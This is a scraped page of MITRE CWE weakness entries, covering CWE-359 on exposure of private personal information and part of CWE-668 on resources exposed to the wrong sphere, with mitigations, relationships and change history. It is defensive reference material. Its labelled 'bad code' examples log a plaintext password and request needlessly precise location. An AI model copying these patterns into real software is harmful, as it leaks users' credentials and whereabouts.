2009-12-28 CWE Content Team MITRE
updated Common_Consequences, Description
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes
2008-10-14 CWE Content Team MITRE
updated Other_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2011-03-29 Information Leak Through Directory Listing
2020-02-24 Information Exposure Through Directory Listing
Back to top

CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Weakness ID: 359
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected. Diagram for CWE-359
+ Alternate Terms
Privacy violation
Privacy leak / Privacy leakage
PPI
acronym for Private Personal Information
PII
acronym for Personally Identifiable Information
PHI
acronym for Protected Health Information
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

+ Potential Mitigations
Phase(s) Mitigation

Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Implementation; Operation

Strategy: Attack Surface Reduction

Some tools can automatically analyze documents to redact, strip, or "sanitize" private information, although some human review might be necessary. Tools may vary in terms of which document formats can be processed.

When calling an external program to automatically generate or convert documents, invoke the program with any available options that avoid generating sensitive metadata. Some formats have well-defined fields that could contain private data, such as Exchangeable image file format (Exif), which can contain potentially sensitive metadata such as geolocation, date, and time [REF-1515] [REF-1516].

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

(bad code)
Example Language: C# 
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.



Example 2


This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.



Example 3


In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Library management product does not strip Exif data from images
Customer relationship management (CRM) product does not strip Exif data from images
Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Architecture or Design Review

Private personal data can enter a program in a variety of ways:

  • Directly from the user in the form of a password or personal information
  • Accessed from a database or other data store by the application
  • Indirectly from a partner or other third party

If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

Effectiveness: High

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Automated Static Analysis
Tools are available to analyze documents (such as PDF, Word, etc.) to look for private information such as names, addresses, etc.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 254 7PK - Security Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 857 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 975 SFP Secondary Cluster: Architecture
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1147 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1417 Comprehensive Categorization: Sensitive Information Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1436 OWASP Top Ten 2025 Category A01:2025 - Broken Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information (PPI) may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

  • Government identifiers, such as Social Security Numbers
  • Contact information, such as home addresses and telephone numbers
  • Geographic location - where the user is (or was)
  • Employment history
  • Financial data - such as credit card numbers, salary, bank accounts, and debts
  • Pictures, video, or audio
  • Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
  • Relationships (and types of relationships) with others - family, friends, contacts, etc.
  • Communications - e-mail addresses, private messages, text messages, chat logs, etc.
  • Health - medical conditions, insurance status, prescription records
  • Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed, such as CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - or how - this entry should be deprecated.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Privacy Violation
The CERT Oracle Secure Coding Standard for Java (2011) FIO13-J Do not log sensitive information outside a trust boundary
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-338] J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005.
<https://www.theregister.com/2005/02/07/aol_email_theft/>. (URL validated: 2023-04-07)
[REF-339] NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010-04.
<https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-122.pdf>. (URL validated: 2023-04-07)
[REF-340] U.S. Department of Commerce. "Safe Harbor Privacy Framework".
<https://web.archive.org/web/20010223203241/http://www.export.gov/safeharbor/>. (URL validated: 2023-04-07)
[REF-341] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)".
<https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act>. (URL validated: 2023-04-07)
[REF-342] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)".
<https://www.hhs.gov/hipaa/index.html>. (URL validated: 2023-04-07)
[REF-343] Government of the State of California. "California SB-1386". 2002-02-12.
<http://www.leginfo.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html>. (URL validated: 2025-07-24)
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-2: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25.
<https://csrc.nist.gov/files/pubs/fips/140-2/upd2/final/docs/fips1402.pdf>. (URL validated: 2025-05-21)
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13.
<https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. (URL validated: 2023-04-07)
[REF-1047] Wikipedia. "General Data Protection Regulation".
<https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>.
[REF-1048] State of California Department of Justice, Office of the Attorney General. "California Consumer Privacy Act (CCPA)".
<https://oag.ca.gov/privacy/ccpa>.
[REF-1515] Chester Avey. "What to Know About EXIF Data, a More Subtle Cybersecurity Risk". ISACA. 2025-02-06.
<https://www.isaca.org/resources/news-and-trends/industry-news/2025/what-to-know-about-exif-data-a-more-subtle-cybersecurity-risk>. (URL validated: 2025-12-08)
[REF-1516] Ben Weitzenkorn. "McAfee's Rookie Mistake Gives Away His Location". Scientific American. 2012-12-04.
<https://www.scientificamerican.com/article/mcafees-rookie-mistake/>. (URL validated: 2025-12-08)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Contributions
Contribution Date Contributor Organization
2023-02-08
(CWE 4.19, 2025-12-11) 		Michal Biesiada
suggested covering PPI in documents such as PDFs
2023-03-29
(CWE 4.19, 2025-12-11) 		Michal Biesiada
suggested covering Exif in images
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Alternate_Terms, Detection_Factors, Maintenance_Notes, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated References
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Description, Diagram, Other_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated References
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Name, Other_Notes, References
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Other_Notes, References
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Other_Notes
2010-02-16 CWE Content Team MITRE
updated Other_Notes, References
2009-12-28 CWE Content Team MITRE
updated Other_Notes, References
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Other_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2014-02-18 Privacy Violation
2020-02-24 Exposure of Private Information ('Privacy Violation')
Back to top

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
+ Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

Likelihood: High

An adversary that gains access to a resource exposed to a wrong sphere could potentially retrieve private data from that resource, thus breaking the intended confidentiality of that data.

Modify Application Data

Scope: Integrity

Likelihood: Medium

An adversary that gains access to a resource exposed to a wrong sphere could potentially modify data held within that resource, thus breaking the intended integrity of that data and causing the system relying on that resource to make unintended decisions.

Varies by Context

Scope: Other

The consequences may vary widely depending on how the product uses the affected resource.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 8 J2EE Misconfiguration: Entity Bean Declared Remote
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 134 Use of Externally-Controlled Format String
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 374 Passing Mutable Objects to an Untrusted Method
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 375 Returning a Mutable Object to an Untrusted Caller
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 377 Insecure Temporary File
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 402 Transmission of Private Resources into a New Sphere ('Resource Leak')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 427 Uncontrolled Search Path Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 428 Unquoted Search Path or Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 488 Exposure of Data Element to Wrong Session
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 491 Public cloneable() Method Without Final ('Object Hijack')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 492 Use of Inner Class Containing Sensitive Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 493 Critical Public Variable Without Final Modifier
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 498 Cloneable Class Containing Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 499 Serializable Class Containing Sensitive Data
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 522 Insufficiently Protected Credentials
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 524 Use of Cache Containing Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 582 Array Declared Public, Final, and Static
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 583 finalize() Method Declared Public
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 608 Struts: Non-private Field in ActionForm Class
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 642 External Control of Critical State Data
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 767 Access to Critical Private Variable via Public Method
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 927 Use of Implicit Intent for Sensitive Communication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1282 Assumed-Immutable Data is Stored in Writable Memory
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1327 Binding to an Unrestricted IP Address
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1331 Improper Isolation of Shared Resources in Network On Chip (NoC)
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 942 Permissive Cross-domain Security Policy with Untrusted Domains
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 134 Use of Externally-Controlled Format String
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 426 Untrusted Search Path
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 427 Uncontrolled Search Path Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 428 Unquoted Search Path or Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
